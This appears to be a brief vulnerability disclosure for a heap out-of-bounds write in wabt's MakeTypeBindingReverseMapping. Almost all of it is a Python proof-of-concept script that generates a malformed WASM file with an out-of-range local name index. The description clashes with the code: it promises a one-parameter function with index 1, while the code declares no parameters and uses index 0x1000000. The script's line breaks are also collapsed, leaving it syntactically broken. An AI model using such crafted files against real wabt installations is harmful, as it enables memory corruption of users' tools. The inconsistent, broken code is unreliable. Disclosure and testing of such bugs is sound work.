wabt 中的 Heap Buffer OOB 写入操作在 MakeTypeBindingReverseMapping 中

Generate a 42-byte WASM with local_index=1 for a 1-param function (valid range: [0,0])

python3 << "EOF" def leb128u(n): out = [] while True: b = n & 0x7F; n >>= 7 if n: b |= 0x80 out.append(b) if not n: break return bytes(out)

def wstr(s): b = s.encode(); return leb128u(len(b)) + b

header = b'\x00asm\x01\x00\x00\x00' type_section = b'\x01\x04\x01\x60\x00\x00' func_section = b'\x03\x02\x01\x00' func_body = b'\x01\x01\x7f\x0b' code_payload = b'\x01' + leb128u(len(func_body)) + func_body code_section = b'\x0a' + leb128u(len(code_payload)) + code_payload

local_names_data = leb128u(1) + leb128u(0) + leb128u(1) + leb128u(0x1000000) + wstr("a") subsection = b'\x02' + leb128u(len(local_names_data)) + local_names_data name_payload = wstr("name") + subsection name_section = b'\x00' + leb128u(len(name_payload)) + name_payload

WASM = header + type_section + func_section + code_section + name_section with open('poc.WASM', 'wb') as f: f.write(WASM) EOF